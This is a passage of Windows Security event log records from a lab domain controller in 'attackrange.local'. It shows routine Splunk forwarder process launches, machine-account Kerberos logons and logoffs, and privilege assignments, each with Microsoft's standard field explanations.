Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:52:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256876
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:52:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256878
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe80
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:52:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256877
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x368
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:52:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256879
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4719F2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:52:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256882
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x473B6B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:52:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256881
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x473B6B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59145

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:52:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256880
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x473B6B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:53:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256885
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x587DD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:53:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256884
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb24
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:53:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256883
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5AC6B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:53:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256886
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:53:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256887
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x880
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:53:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256888
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x450
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:53:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256889
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:53:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256891
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:53:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256890
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc34
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:53:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256892
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4717E7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:53:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256895
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x477283

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:53:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256894
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x477283
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59158

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:53:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256893
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x477283

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:54:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256896
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:54:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256897
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1200
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:54:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256898
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf8c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:54:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256899
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.
